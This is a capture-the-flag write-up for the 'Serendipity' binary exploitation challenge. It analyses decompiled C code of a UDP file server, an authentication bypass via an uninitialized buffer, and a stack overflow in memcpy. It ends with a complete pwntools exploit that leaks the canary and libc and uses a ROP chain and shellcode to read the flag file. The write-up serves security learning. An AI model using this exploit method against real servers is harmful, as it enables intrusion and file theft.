# WannaGame Championship 2023: Serendipity
## Overview

## Analysis
```c
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
unsigned int i; // [rsp+4h] [rbp-ECh]
int v4; // [rsp+8h] [rbp-E8h]
int j; // [rsp+Ch] [rbp-E4h]
pthread_t newthread; // [rsp+10h] [rbp-E0h] BYREF
struct sockaddr *addr; // [rsp+18h] [rbp-D8h]
void *v8; // [rsp+20h] [rbp-D0h]
fd_set *p_readfds; // [rsp+28h] [rbp-C8h]
void *buf; // [rsp+30h] [rbp-C0h]
ssize_t v11; // [rsp+38h] [rbp-B8h]
struct timeval timeout; // [rsp+40h] [rbp-B0h] BYREF
struct sockaddr s; // [rsp+50h] [rbp-A0h] BYREF
fd_set readfds; // [rsp+60h] [rbp-90h] BYREF
unsigned __int64 v15; // [rsp+E8h] [rbp-8h]
v15 = __readfsqword(0x28u);
pipe(session_1);
pipe(session_2);
pipe(session_3);
pipe(session_4);
if ( pthread_mutex_init(&mutex, 0LL) || pthread_mutex_init(&stru_60A0, 0LL) )
error("pthread_mutex_init");
pthread_create(&newthread, 0LL, clean_session, 0LL);
fd = socket(2, 2, 0);
if ( fd == -1 )
error("socket");
memset(&s, 0, sizeof(s));
s.sa_family = 2;
*(_WORD *)s.sa_data = htons(0x26FDu);
*(_DWORD *)&s.sa_data[2] = 0;
if ( bind(fd, &s, 0x10u) == -1 )
error("bind");
addr = (struct sockaddr *)malloc(0x214uLL);
v8 = malloc(0x100CuLL);
while ( 1 )
{
do
{
p_readfds = &readfds;
for ( i = 0; i <= 0xF; ++i )
p_readfds->fds_bits[i] = 0LL;
readfds.fds_bits[fd / 64] |= 1LL << (fd & 0x3F);
timeout.tv_sec = 1LL;
timeout.tv_usec = 0LL;
if ( select(fd + 1, &readfds, 0LL, 0LL, &timeout) == -1 )
error("select");
}
while ( (readfds.fds_bits[fd / 64] & (1LL << (fd & 0x3F))) == 0 );
buf = calloc(1uLL, 0x1000uLL);
memset(addr, 0, 0x214uLL);
memset(v8, 0, 0x100CuLL);
*(_DWORD *)&addr[1].sa_family = 16;
v11 = recvfrom(fd, buf, 0x1000uLL, 0, addr, (socklen_t *)&addr[1].sa_family);
if ( v11 == -1 )
error("recvfrom");
v4 = 0;
for ( j = 0; ; ++j )
{
if ( j > 3 )
goto LABEL_22;
if ( *(_QWORD *)buf == *((_QWORD *)&unk_6100 + 2 * j) )
break;
}
write(session_1[2 * j + 1], buf, 0x1000uLL);
v4 = 1;
LABEL_22:
if ( !v4 && !(unsigned int)check_packet(addr, v8, buf) )
check_opcode(addr, v8);
}
}
```
This is a server allowing users to send packets throughout a UDP connection.
First, we can see that it creates 4 pipes, for 4 threads to connect, read and write.
After that, there is a call to socket which creates a UDP connection to send and receive input to users by `sendto` and `recvfrom`.
Program will wait for users to send data to socket and then check with each session_id, if it's similar, it will write to the corresponding fd related to that threads. But not, it will jump to `LABEL_22`
`LABEL_22` will check our recently sent packet is matched with server or not, subsequently check our opcode.
Here I have reversed the main struct in this binary:
```c
struct packet{
uint32_t magic;
uint32_t opcode;
unsigned int short len_packet;
char msg[4086];
}
```
**Check_packet**
```c
__int64 __fastcall check_packet(packet *a1, packet *a2, packet *a3)
{
unsigned int v3; // eax
unsigned int v5; // eax
a2->magic = a3->magic;
if ( a2->magic == 1882206320 )
{
a2->opcode = a3->opcode;
a2->packet_len = a3->packet_len;
if ( a2->packet_len <= 0xFFFu )
{
memcpy(a2->msg, a3->msg, (unsigned __int16)a2->packet_len);
return 0LL;
}
else
{
memset(&a1->msg[10], 0, 0x200uLL);
strcpy(&a1->msg[10], "packet too large\n");
v5 = strlen(&a1->msg[10]);
send_msg(a1, &a1->msg[10], v5);
return 1LL;
}
}
else
{
memset(&a1->msg[10], 0, 0x200uLL);
strcpy(&a1->msg[10], "server magic mismatch\n");
v3 = strlen(&a1->msg[10]);
send_msg(a1, &a1->msg[10], v3);
return 1LL;
}
}
```
**Check_opcode**
```c
__int64 __fastcall check_opcode(packet *a1, __int64 a2)
{
unsigned int v2; // eax
unsigned int v4; // eax
v2 = *(_DWORD *)(a2 + 4);
if ( v2 == 769 )
return read_key((__int64)a1, a2);
if ( v2 > 0x301 )
goto LABEL_9;
if ( v2 == 257 )
return ((__int64 (__fastcall *)(packet *, __int64))encrypt)(a1, a2);
if ( v2 == 513 )
return authenticate((__int64)a1, a2);
LABEL_9:
memset(&a1->msg[10], 0, 0x200uLL);
strcpy(&a1->msg[10], "unknown opcode\n");
v4 = strlen(&a1->msg[10]);
return ((__int64 (__fastcall *)(packet *, char *, _QWORD))send_msg)(a1, &a1->msg[10], v4);
```
From here, we can conclude a valid packet is:
- The magic must be 0x70303070
- The opcode must not be different from 769, 513, 257
Actually, I found an `OOB Read` in opcode 257, but due to I/O buffering, this bug doesn't work on remote server, so I will not use here.
Here I will mainly focus on `authenticate` function:
```c
void __fastcall authenticate(packet *a1, __int64 a2)
{
int v2; // eax
int v3; // eax
int v4; // eax
int i; // [rsp+14h] [rbp-Ch]
if ( !strncmp(s1, (const char *)(a2 + 10), 0x20uLL) )
{
memset(&a1->msg[10], 0, 0x200uLL);
strcpy(&a1->msg[10], "auth successfully\n");
v3 = strlen(&a1->msg[10]);
send_msg((const struct sockaddr *)a1, (__int64)&a1->msg[10], v3);
for ( i = 0; i <= 3; ++i )
{
if ( !*((_QWORD *)&session + 2 * i) )
{
*((_QWORD *)&session + 2 * i) = *(_QWORD *)get_random_string(8);
qword_6108[2 * i] = time(0LL) + 60;
memset(&a1->msg[10], 0, 0x200uLL);
strncpy(&a1->msg[10], (const char *)&session + 16 * i, 8uLL);
send_msg((const struct sockaddr *)a1, (__int64)&a1->msg[10], 8);
open_thread((__int64)a1, a2, i);
return;
}
}
memset(&a1->msg[10], 0, 0x200uLL);
strcpy(&a1->msg[10], "only 4 sessions at a time\n");
v4 = strlen(&a1->msg[10]);
send_msg((const struct sockaddr *)a1, (__int64)&a1->msg[10], v4);
}
else
{
memset(&a1->msg[10], 0, 0x200uLL);
strcpy(&a1->msg[10], "auth failed\n");
v2 = strlen(&a1->msg[10]);
send_msg((const struct sockaddr *)a1, (__int64)&a1->msg[10], v2);
}
}
```
Initially, there is a check on user's input, to compare that if it's the same or not. But the `s1` is on `bss` and it's uninitialized, so we can easily bypass it, and jump to `open_thread`.
Before opening a thread, server will send a session number to our socket, and then jump to our thread.
```c
void *__fastcall start_routine(_DWORD *a1)
{
unsigned int v1; // eax
unsigned int v3; // eax
size_t v4; // rax
unsigned int v5; // eax
unsigned int v6; // eax
int v7; // [rsp+1Ch] [rbp-344h]
__int64 v8; // [rsp+20h] [rbp-340h]
__int64 *buf; // [rsp+28h] [rbp-338h]
FILE *stream; // [rsp+30h] [rbp-330h]
__int64 s; // [rsp+40h] [rbp-320h] BYREF
int v12; // [rsp+48h] [rbp-318h]
unsigned __int16 v13; // [rsp+4Ch] [rbp-314h]
_BYTE v14[258]; // [rsp+4Eh] [rbp-312h] BYREF
char dest[8]; // [rsp+150h] [rbp-210h] BYREF
__int64 v16; // [rsp+158h] [rbp-208h] BYREF
char ptr[264]; // [rsp+250h] [rbp-110h] BYREF
unsigned __int64 v18; // [rsp+358h] [rbp-8h]
v18 = __readfsqword(0x28u);
v8 = *(_QWORD *)a1;
v7 = a1[2];
buf = (__int64 *)calloc(1uLL, 0x1000uLL);
while ( 1 )
{
while ( 1 )
{
memset(&s, 0, 0x110uLL);
memset(dest, 0, 0x100uLL);
memset(ptr, 0, 0x100uLL);
read(session_1[2 * v7], buf, 0x1000uLL);
s = *buf;
v12 = *((_DWORD *)buf + 2);
v13 = *((_WORD *)buf + 6);
memcpy(v14, (char *)buf + 14, v13);
memcpy(dest, "./files/", sizeof(dest));
memcpy(&v16, v14, 0xF0uLL);
if ( strstr(dest, "..") )
{
memset((void *)(v8 + 20), 0, 0x200uLL);
strcpy((char *)(v8 + 20), "invalid file\n");
v1 = strlen((const char *)(v8 + 20));
send_msg(v8, v8 + 20, v1);
return 0LL;
}
if ( !v12 )
break;
if ( v12 == 1 )
{
memset((void *)(v8 + 20), 0, 0x200uLL);
strcpy((char *)(v8 + 20), "under construction\n");
v6 = strlen((const char *)(v8 + 20));
send_msg(v8, v8 + 20, v6);
}
}
stream = fopen(dest, "r");
if ( !stream )
break;
fread(ptr, 0x100uLL, 1uLL, stream);
memset((void *)(v8 + 20), 0, 0x200uLL);
v4 = strlen(ptr);
strncpy((char *)(v8 + 20), ptr, v4);
v5 = strlen((const char *)(v8 + 20));
send_msg(v8, v8 + 20, v5);
fclose(stream);
}
memset((void *)(v8 + 20), 0, 0x200uLL);
strcpy((char *)(v8 + 20), "file can't be read\n");
v3 = strlen((const char *)(v8 + 20));
send_msg(v8, v8 + 20, v3);
return 0LL;
}
```
Binary will parse our input into another struct, which looks like:
```c
void *__fastcall start_routine(_DWORD *a1)
{
int v1; // eax
int v3; // eax
size_t v4; // rax
int v5; // eax
int v6; // eax
int v7; // [rsp+1Ch] [rbp-344h]
const struct sockaddr *v8; // [rsp+20h] [rbp-340h]
arg *buf; // [rsp+28h] [rbp-338h]
FILE *stream; // [rsp+30h] [rbp-330h]
__int64 s; // [rsp+40h] [rbp-320h] BYREF
int mode; // [rsp+48h] [rbp-318h]
unsigned __int16 len; // [rsp+4Ch] [rbp-314h]
_BYTE v14[258]; // [rsp+4Eh] [rbp-312h] BYREF
char dest[8]; // [rsp+150h] [rbp-210h] BYREF
__int64 v16; // [rsp+158h] [rbp-208h] BYREF
char ptr[264]; // [rsp+250h] [rbp-110h] BYREF
unsigned __int64 v18; // [rsp+358h] [rbp-8h]
v18 = __readfsqword(0x28u);
v8 = *(const struct sockaddr **)a1;
v7 = a1[2];
buf = (arg *)calloc(1uLL, 0x1000uLL);
while ( 1 )
{
while ( 1 )
{
memset(&s, 0, 0x110uLL);
memset(dest, 0, 0x100uLL);
memset(ptr, 0, 0x100uLL);
read(session_1[2 * v7], buf, 0x1000uLL);
s = *(_QWORD *)buf->session_id;
mode = buf->mode;
len = buf->len;
memcpy(v14, buf->msg, len);
memcpy(dest, "./files/", sizeof(dest));
memcpy(&v16, v14, 0xF0uLL);
if ( strstr(dest, "..") )
{
memset(&v8[1].sa_data[2], 0, 0x200uLL);
strcpy(&v8[1].sa_data[2], "invalid file\n");
v1 = strlen(&v8[1].sa_data[2]);
send_msg(v8, (__int64)&v8[1].sa_data[2], v1);
return 0LL;
}
if ( !mode )
break;
if ( mode == 1 )
{
memset(&v8[1].sa_data[2], 0, 0x200uLL);
strcpy(&v8[1].sa_data[2], "under construction\n");
v6 = strlen(&v8[1].sa_data[2]);
send_msg(v8, (__int64)&v8[1].sa_data[2], v6);
}
}
stream = fopen(dest, "r");
if ( !stream )
break;
fread(ptr, 0x100uLL, 1uLL, stream);
memset(&v8[1].sa_data[2], 0, 0x200uLL);
v4 = strlen(ptr);
strncpy(&v8[1].sa_data[2], ptr, v4);
v5 = strlen(&v8[1].sa_data[2]);
send_msg(v8, (__int64)&v8[1].sa_data[2], v5);
fclose(stream);
}
memset(&v8[1].sa_data[2], 0, 0x200uLL);
strcpy(&v8[1].sa_data[2], "file can't be read\n");
v3 = strlen(&v8[1].sa_data[2]);
send_msg(v8, (__int64)&v8[1].sa_data[2], v3);
return 0LL;
}
```
From here, problem has occurred.
```c
memcpy(v14, buf->msg, len);
memcpy(dest, "./files/", sizeof(dest));
memcpy(&v16, v14, 0xF0uLL);
```
At first memcpy, we can see that memcpy will copy our `buf->msg`, with our length specified. Since `len` is a controlled variable, it is an obvious `Buffer Overflow`.
So how can we leak when `SSP` and `PIE` are all enabled?
### Arbitrary read
With `fread` doesn't put null-byte on our string, we can easily use that arbitrary read primitive to leak canary and libc. See the examples below to clearly understand how we can trigger the bug.



Here I find the offset between canary and my buffer is 0x30b, so set `buf->len` to `0x30b` and fill the gap before by 'A'.
Now we have the ability to leak canary. Use the same method to leak libc.
Bonus: I have leaked another thread address because r-w segment in libc might be overlapped with some I/O segment, so leak another thread is kinda better for me.
### Arbitrary write
Is it too easy to call `system("/bin/sh")` to obtain a shell?
Well, since here is the socket connection with UDP type, we cannot easily do that or `system("/bin/sh 0>&11 1>&11)"`.
Author has also mentioned that it is not possible to do a reverse shell, since the remote has blocked outside connection.
What we can do to get flag now?
Well, traditional way is to `open-read-write`. We are working on socket, so `read` and `write` seem to fail. But with our socket opened, we can use `sendto` to send flag to our socket now.
```sh
ssize_t sendto(int sockfd, const void *buf, size_t len, int flags,
const struct sockaddr *dest_addr, socklen_t addrlen);
```
Since two last arguments of `sendto` are stored on `r8` and `r9` respectively, and it is rarely changed at runtime, our target is only to modify another arguments to read flag.
So our strategies will be:
- Set our `buf->mode` to 1 to get out of the infinite loop.
- At the same time, inserted our ROP chain to open->read->sendto.
- `read(thread_fd, buf, size)` will enable us to wait for input, which was when we make `buf->mode` to 1, then write into our buffer.
- Finally, I choose to mprotect my thread address, and jump to that shellcode.

```python
from pwn import *
#p = process("./serendipity_patched")#r = process(["/usr/bin/nc", "-u", "157.245.147.89", "28223"])
context.arch = 'amd64'
#r = process(["nc", "-u", "157.245.147.89", "21415"])
r = process(["nc", "-u", "localhost", "9981"])
l = ELF("./libc.so.6")
def send_packet(opcode: int, len_packet: int, message: bytes):
msg = p32(0x70303070)
msg += p32(opcode)
msg += p16(len_packet)
msg += message
r.sendline(msg)
send_packet(513, 0xfff, b'\0' * 16)
r.recvuntil(b'auth successfully\n')
session = r.recv()
pl = session
pl += p32(0)
pl += p32(0x30b)
pl += b'A' * 0x30b
r.send(pl)
r.recvuntil(b'A' * 264)
canary = u64(r.recv(8)) - 0x41
log.info(f"Canary: {hex(canary)}")
pl = session
pl += p32(0)
pl += p32(0x31a)
pl += b'A' * 0x31a
r.send(pl)
r.recvuntil(b'A' * 0x118)
l.address = u64(r.recv(6) + b'\0' * 2) - 0x94ac3
log.info(f"Libc: {hex(l.address)}")
rdi = l.address + 0x2a3e5
ret = rdi + 1
rsi = l.address + 0x000000000002be51
rdx = l.address + 0x00000000000796a2
syscall = l.address + 0xec339
rax = l.address + 0x0000000000045eb0
pl = session
pl += p32(0)
pl += p32(0x32a)
pl += b'A' * 0x32a
r.send(pl)
r.recvuntil(b'A' * 0x128)
rw_seg = u64(r.recv(6) + b'\0' * 2) & (~0xfff)
log.info(f'Thread: {hex(rw_seg)}')
pl = session
pl += p32(0)
pl += p16(0x600)
pl += b'A' * 0x30a
pl += p64(canary)
pl += p64(0)
pl += p64(rdi) + p64(rw_seg) + p64(rsi) + p64(0x3000) + p64(rdx) + p64(7) + p64(l.sym['mprotect'])
pl += p64(rdi) + p64(3) + p64(rsi) + p64(rw_seg) + p64(rdx) + p64(0x200) + p64(rax) + p64(0) + p64(syscall)
pl += p64(rw_seg + 0x12)
r.send(pl)
r.recv()
pl = session
pl += p32(0) + p32(0) + p16(0x200)
pl += asm(shellcraft.open("/home/user/flag", 0)) + asm(shellcraft.read('rax', rw_seg + 0xf00, 0x100))
pl += asm("""
push 44
pop rax
push 11
pop rdi
syscall
""")
r.send(pl)
r.interactive()
```
This is the result on my local machine

**Note**
Since I cannot solve this challenge in 24 hours, something I need to improve for the future CTFs.
- I had better practise faster code understanding, since speed is always my weakness in CTF
- Learn to find vulnerable patterns in binary, exemplified by the `stack buffer overflow` in `memcpy`